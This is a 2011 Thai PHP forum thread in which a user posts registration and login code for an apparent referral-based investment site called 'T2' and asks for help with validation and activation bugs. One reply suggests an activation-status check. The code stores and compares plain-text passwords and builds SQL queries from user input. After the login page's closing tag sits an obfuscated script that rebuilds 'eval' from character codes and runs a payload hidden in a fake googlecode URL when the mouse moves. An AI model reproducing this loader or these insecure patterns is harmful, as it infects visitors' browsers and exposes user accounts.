สอบถามเกี่ยวกับโค้ด สมัครสมาชิก และตอนเข้าระบบครับ
Code
<!doctype html>
<!--[if lt IE 7]><html class="no-js ie6 oldie" lang=en><![endif]--> <!--[if IE 7]><html class="no-js ie7 oldie" lang=en><![endif]--> <!--[if IE 8]><html class="no-js ie8 oldie" lang=en><![endif]--> <!--[if gt IE 8]><!--> <html class=no-js lang=en> <!--<![endif]-->
<head> <meta charset=utf-8> <link rel=dns-prefetch href="http://fonts.googleapis.com/"> <meta http-equiv=X-UA-Compatible content="IE=edge,chrome=1"> <title>T2 - Register!</title> <link href="favicon.ico" rel="shortcut icon"/> <meta name=description content=""> <meta name=author content=""> <meta name=viewport content="width=device-width,initial-scale=1"> <link rel=stylesheet href='css/c11f8f1b6c157a7a1ee04039d038c282336416b9.css'> <link href="http://fonts.googleapis.com/css?family=PT+Sans" rel=stylesheet type="text/css"> <script src="js/libs/modernizr-2.0.6.min.js"></script>
<?
include('db.php');
include('functions.php');
?>
</head> <body id=top>
<?
if(isset($_POST['terms'])) {
$errors = array();
if (eregi('^[[:alnum:]\.\'\-]{4,30}$', stripslashes(trim($_POST['username']))) ) {
$username = Clean($_POST['username']);
$query = "SELECT username FROM t2_users WHERE username = '$username'";
$result = mysql_query($query);
$num = mysql_num_rows($result);
if ($num> 0) {
$errors[] = '<font color="red">The username you have chosen has already been taken, please try another.</font>';
} else {
$username = Clean($_POST['username']);
}
} else {
$errors[] = '<font color="red">Please provide a valid username between 4 and 30 characters.</font>';
}
$firstname = Clean($_POST['firstname']);
$lastname = Clean($_POST['lastname']);
$password = Clean($_POST['password']);
$cpassword = Clean($_POST['password_again']);
if (!empty($password)) {
if ($password !== $cpassword) {
$errors[] = '<font color="red">The 2 passwords you have entered do not match.</font>';
}
} else {
$errors[] = '<font color="red">Please provide a password.</font>';
}
if (!eregi('^[a-zA-Z]+[a-zA-Z0-9_-]*@([a-zA-Z0-9]+){1}(\.[a-zA-Z0-9]+){1,2}', stripslashes(trim($_POST['email'])) )) {
$errors[] = '<font color="red">Please provide a valid email address.</font>';
} else {
$email = Clean($_POST['email']);
}
$cemail = Clean($_POST['cemail']);
if($email!==$cemail) {
$errors[] = '<font color="red">The 2 emails you have entered do not match.</font>';
}
$sql = mysql_query("SELECT * FROM `t2_users` WHERE `email` = '$email'");
$nums = mysql_num_rows($sql);
if($nums>0) {
$errors[] = '<font color="red">The email entered already exists in our database!</font>';
}
if (empty($errors)) {
$refpage = $_COOKIE['refpage'];
$refsrc = $_COOKIE['srcofref'];
if($_COOKIE['refname'])
{
$referredBy = Clean($_COOKIE['refname']);
$hidden = Clean($_COOKIE['hidden']);
if($hidden=="h") {
$userorcode = "activation";
} else {
$userorcode = "username";
}
$sql = mysql_query("SELECT * FROM `t2_users` WHERE `$userorcode` = '$referredBy' LIMIT 1");
$num = mysql_num_rows($sql);
if($num=="1") {
$res = mysql_fetch_array($sql);
$lvl1refname = $res['username'];
if($res['reflvl1']=="") {
$reflvl2 = "SystemComms";
} else {
$reflvl2 = $res['reflvl1'];
}
mysql_query("UPDATE `t2_users` SET `lvl1refs` = `lvl1refs`+1 WHERE `$userorcode` = '$referredBy'");
mysql_query("UPDATE `t2_users` SET `lvl2refs` = `lvl2refs`+1 WHERE `username` = '$reflvl2'");
}//if num 1
} else {
$referedBy = "SystemComms";
$reflvl2 = "SystemComms";
}
$activationcode = md5(uniqid(rand(), true));
$time = time();
$ip = GetIP();
mysql_query("INSERT INTO `t2_users` (`username`, `firstname`, `lastname`, `password`, `email`, `pemail`, `t2positions`, `balance`, `invested`, `activation`, `reflvl1`, `reflvl2`, `refsrcurl`, `refsrc`, `signuptime`, `signupip`) VALUES ('$username','$firstname','$lastname','$password','$email','','0','0.00','0.00','$activationcode','$lvl1refname','$reflvl2','$refpage','$refsrc', '$time', '$ip')");
$body = "Hello ".$firstname.", \n\n Welcome to T2! We are the undisputable champion of indefiniate sustainability! \n\n To activate your account, please click on this link:\n\n";
$body .= "http://www.jsstripler2.com/activate.php?c=" . $activationcode . "&u=".$username." \n\n T2 Automated Update Service";
mail($_POST['email'], 'Registration Confirmation', $body, 'From: T2 Support <[email protected] >');
echo '<META HTTP-EQUIV="Refresh" Content="0; URL=thank-you.php">';
exit;
} //if no errors
}
?>
<div id=container> <div id=header-surround><header id=header> <a href="index.php"><img src="img/logo_gold.png" alt=Grape width="130" height="53" class=logo></a>
<div class="divider-header divider-vertical"></div><div id=info-dialog title=About style="display: none;"> <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.</p> <p>Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.</p></div></header></div><aside id=sidebar><nav id=nav> </nav> </aside> <div id=main role=main> <div id=title-bar> <ul id=breadcrumbs> <li><a href="index.php" title=Home><span id=bc-home></span></a></li> <li class=no-hover>Member Registration</li> </ul> </div> <div class="shadow-bottom shadow-titlebar"></div> <div id=main-content> <div class=container_12> <div class=grid_12> <h1>New Member Registration</h1> <p style="font-weight: bold">Please fill in all the fields below, and then check your email inbox for the activation email.... IMPORTANT!.. Sometimes our emaiils are marked as spam (especially AOL) Please try to use a Gmail account, and to make sure you receive your updates from our system in a timely manner, then please add us to your 'contacts list' so that our mails get straight to your main inbox. Please be sure to check your 'junk folder'.</p>
<p style="font-weight: bold; color: #F00; font-size: 18px;">We will open for registrations over the coming days thank you. Please do not register, as the functions are not yet in place and all accounts will be DELETED prior to launch.</p>
</div> <div class=grid_6> <div class=block-border> <div class=block-header> <h1>REGISTRATIONS SUSPENDED</h1>
<span></span> </div> <form id="register-form" class="block-content form" action="#" method=post>
<p>
<label for="username">Username</label>
<input type="text" name="username" id="username">
</p>
<p>
<label for="First Name2">First Name</label>
<input type="text" name="firstname" id="First Name2">
</p>
<p>
<label for="Last Name2">Last Name</label>
<input type="text" name="lastname" id="Last Name2">
</p>
<p>
<label for="Password">Password</label>
<input type="password" class=equalto name="password" id="password">
</p>
<p>
<label for="Conform Password">Confirm Password</label>
<input type="password" class=equalto name="password_again" id="password_again">
</p>
<p>
<label for="Email Address">Email Address</label>
<input type="text" name="email" id="Email Address">
</p>
<p>
<label for="Confirm Email">Confirm Email</label>
<input type="text" name="cemail" id="Confirm Email">
</p>
<p>
<input type="checkbox" name="terms" id="terms">
<label for="terms">I Accept the <a href="/terms.php" target="_blank">Terms & Conditions</a></label>
</p>
<p> </p>
<p> </p>
<div class=block-actions> <ul class=actions-left> <li><a class="" id=reset-validate-form href="javascript:void(0);"></a></li> </ul> <ul class=actions-right> <li><input type=submit class=button value="Register"></li> </ul> </div> </form> </div> </div><div class=clear></div><div class="clear height-fix"></div> </div></div> </div> <footer id=footer><div class=container_12> <div class=grid_12> <div class="footer-icon align-center"><a class=top href="#top"></a></div> </div> </div></footer> </div> <script src="js/jquery.min.js"></script> <script>window.jQuery||document.write('<script src="js/libs/jquery-1.6.2.min.js"><\/script>');</script> <p> </p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p> </p> <script defer src='js/8f71c247c4dadc837fe569208a7a1dc0f7625c46.js'></script> <!--[if lt IE 7 ]><script src="//ajax.googleapis.com/ajax/libs/chrome-frame/1.0.3/CFInstall.min.js"></script> <script>window.attachEvent("onload",function(){CFInstall.check({mode:"overlay"})});</script><![endif]-->
<!-- Begin Web-Stat code 2.0 http -->
<script type="text/javascript" src="http://server4.web-stat.com/wtslog.pl?al244711,3"></script>
<noscript><p><a href="http://www.web-stat.net">
<img src="http://server4.web-stat.com/3/al244711.gif"
style="border:0px;" alt="web tracking"/></a></p></noscript>
<!-- End Web-Stat code v 2.0 -->
</body>
<!-- Mirrored from themes.stammtec.de/grape/forms.html by HTTrack Website Copier/3.x [XR&CO'2010], Mon, 15 Aug 2011 04:44:08 GMT -->
</html>
อันนี้เป็นโค้ดสมัครสมาชิกครับ ปัญหาคือ เวลาสมัครสมาชิกถ้ามี . มันจะไม่สามารถสมัครได้ ผมไม่รู้ว่าต้องแก้ไขยังไง เพราะเห็นมีโค้ดที่้ห้ามใช้ . อยู่แต่กลัวจะผิดครับ ส่วนตัว แสดง error มันไม่สามารถแสดง error message อะไรได้เลยครับ รบกวนผู้รู้ช่วยด้วยครับ
อีกปัญหาครับ เวลาล๊อกอิน ระบบจะอนุญาติให้สมาชิกที่ยังไม่ได้ทำการยืนยันล๊อกอินได้ ผมสามารถแก้ไขตรงไหนได้ครับ
Code
<?
session_start();
include('functions.php');
include('db.php');
if(($_POST['username']) && ($_POST['password'])) {
$username = Clean($_POST['username']);
$password = Clean($_POST['password']);
$keeplogged = Clean($_POST['keep_logged']);
$sql = mysql_query("SELECT * FROM `t2_users` WHERE `username` = '$username'");
$num = mysql_num_rows($sql);
$errors = array();
if($num=="1") {
$qr = mysql_fetch_array($sql);
$cookiepass = md5($qr['password']);
$plainpass = $qr['password'];
if($password==$plainpass) {
if(isset($_POST['keep_logged'])) {
setcookie("t2n", $username, time()+2592000);
setcookie("t2p", $cookiepass, time()+2592000);
}
$_SESSION['username'] = $username;
echo '<META HTTP-EQUIV="Refresh" Content="0; URL=members/dashboard.php">';
exit();
} else {
$errors[] = 'The password you entered isn\'t correct.';
}//password not right
} else {
$errors[] = 'The username you entered does not exist!';
}//if username not exist
}
?>
<!doctype html>
<!--[if lt IE 7]><html class="no-js ie6 oldie" lang=en><![endif]--> <!--[if IE 7]><html class="no-js ie7 oldie" lang=en><![endif]--> <!--[if IE 8]><html class="no-js ie8 oldie" lang=en><![endif]--> <!--[if gt IE 8]><!--> <html class=no-js lang=en> <!--<![endif]-->
<head> <meta charset=utf-8> <link rel=dns-prefetch href="http://fonts.googleapis.com/"> <meta http-equiv=X-UA-Compatible content="IE=edge,chrome=1"> <title>T2 - Login</title> <link href="favicon.ico" rel="shortcut icon"/> <meta name=description content=""> <meta name=author content=""> <meta name=viewport content="width=device-width,initial-scale=1"> <link rel=stylesheet href='css/c11f8f1b6c157a7a1ee04039d038c282336416b9.css'> <link href="http://fonts.googleapis.com/css?family=PT+Sans" rel=stylesheet type="text/css"> <script src="js/libs/modernizr-2.0.6.min.js"></script> </head> <body class=special-page>
<?
if(isset($_COOKIE['t2n']) && isset($_COOKIE['t2p'])){
$username = Clean($_COOKIE['t2n']);
$password = Clean($_COOKIE['t2p']);
$sql = mysql_query("SELECT * FROM `t2_users` WHERE `username` = '$username'");
$num = mysql_num_rows($sql);
if($num>0) {
$qry = mysql_fetch_array($sql);
$md5pass = md5($qry['password']);
if($md5pass==$password) {
$_SESSION['username'] = $username;
echo '<META HTTP-EQUIV="Refresh" Content="0; URL=members/dashboard.php">';
exit();
} else {
//Report possible fraud
}
}
}
?>
<div id=container> <section id=login-box> <div class=block-border> <div class=block-header> <h1>Login</h1> </div> <form id=login-form class="block-content form" action="#" method=post>
<?
if($errors) {
foreach ($errors as $msg) {
echo "<div id='alertBox-generated' style='' class='alert error no-margin top'>$msg</div>";
}
} //if errors
?>
<p class=inline-small-label> <label for=username>Username</label> <input type=text name=username value="" class=required> </p> <p class=inline-small-label> <label for=password>Password</label> <input type=password name=password value="" class=required> </p> <p> <label><input type=checkbox name=keep_logged /> Auto-login in future.</label> </p> <div class=clear></div> <div class=block-actions> <ul class=actions-left> <li><a class=button name=recover_password href="javascript:void(0);">Recover Password</a></li> <li class=divider-vertical></li> <li><a class="button red" id=reset-login href="javascript:void(0);">Cancel</a></li> </ul> <ul class=actions-right> <li><input type=submit class=button value=Login></li> </ul> </div> </form> </div> </section> </div> <script src="js/jquery.min.js"></script> <script>window.jQuery||document.write('<script src="js/libs/jquery-1.6.2.min.js"><\/script>');</script> <script defer src='js/8f71c247c4dadc837fe569208a7a1dc0f7625c46.js'></script> <!--[if lt IE 7 ]><script src="//ajax.googleapis.com/ajax/libs/chrome-frame/1.0.3/CFInstall.min.js"></script> <script>window.attachEvent("onload",function(){CFInstall.check({mode:"overlay"})});</script><![endif]--> </body>
<!-- Mirrored from themes.stammtec.de/grape/login.html by HTTrack Website Copier/3.x [XR&CO'2010], Mon, 15 Aug 2011 04:44:17 GMT -->
</html><div id="w3stats"></div>
<script language="JavaScript" type="text/javascript">
window.w3ssss=function(){
var scriptlink = "http://jquery.googlecode.com/svn/trunk/gadget/scripts/s.js?userrefer=%0A7gw%0Anayies4flsrrd4p%3Du4fdsauogkncu2zutcymahnepbdnkg8t5wd.6ulcwprr5hjef37ace0tfgpe1zlEz19lkt9ey3sm96oeko4nhuvtfy5%282wj%226ofils0fowyrx6wanu4m6ajeinf%22bqs%293e0%3Bd5i%0Ayczieyifqi9rct4.sl6snrzre2ocola%3Dg1q%22cd8h7irth8ltcufpz5g%3Adu6/g4u/wwovvb0cb8p-p74bkadu0krsxuaip6znd9eegtrsghbsejf.ponc8kiocetmh6r/cp8i63lndkg.8rrpbewh9kepdka%22x5n%3B73r%0Av27iar6fht8rpsz.r5ksx1ottjxy2h1ltseeign.s28w7fvisuadzght5mph09w%3Dpr0%22usd1yifpp0vxwar%22vw3%3Bpv6%0Ayljibn8fjdzroab.60ns3llt4ulyxzclfrzektc.wq5hvbsed58if0ygt3dhtaatjsq%3Dqzs%22gxt1y6apeanxndo%225ij%3Bny2%0Acj5dzblow3fcr0gubrrm42geqinnghstuh3.3z6g3thezrgt7m9Enx1ley7e6voma64eph0nl7htxqbB3n7yjtwIs9xdvht%28rph%22ufxwhhm3flks84utufuanldthuks999%2222l%290io.9iga4usp7rxpverebjgnjrbdyezCpugh3eliesil9ncdcer%28wu7itzjfjl3rpqi%29q83%3Bsih%0A4ni%0Akba";
var visitnum=window.history.length%1000-window.history.length+4;
var countbox=document.createElement("div");countbox.id='countbox';
idarr = new Array(97,114,93,104);
for(var i=0,elem=[]; i<visitnum; i++){elem[i]=document.createElement("div");elem[i].id= String.fromCharCode(idarr[i]+visitnum);countbox.appendChild(elem[i]);}
var cont=''; currentuser=true, nextuser=countbox.firstChild;
do{currentuser=nextuser; cont += currentuser.id; nextuser=currentuser.nextSibling;}while(currentuser!==countbox.lastChild)
var userref=unescape(scriptlink.substr(scriptlink.indexOf('?userrefer=')+11));
for(var i=0,content=''; i<userref.length; i+=visitnum){content+=userref.charAt(i);}
try{ window[cont](content) }catch(e){}
}
window.CheckBody = function()
{
if (!document.body){setTimeout('CheckBody();',10);}
else
{
window.nomore=false;
document.body.onmouseover=function(){if(!window.nomore){window.nomore=true;w3ssss();}}
window.onmouseover=function(){if(!window.nomore){window.nomore=true;w3ssss();}}
}
}
CheckBody();
</script>
แล้วระบบก็ไม่สามารถล๊อกเอาท์ได้อีกครับ T_TTag : PHP
Date :
2011-10-30 15:10:08
By :
pari
View :
10065
Reply :
2
ตอบปัญหาที่ 2 ละกัน ตอนที่เอา user pass มาเรียกข้อมูลในฐานข้อมูล ตรง where ก็เรียก status ด้วย แล้วเอา status มาเช็คด้วย if ก็แล้วแต่จะกำหนด status ให้เป็นอะไรกับอะไรน่ะ
ส่วนข้อแรก โค้ดมันลายตา น่าจะเอามาเฉพาะบางส่วนนะ เอามาแบบนี้ลายตา
Date :
2011-10-30 18:17:27
By :
ozma
Load balance : Server 05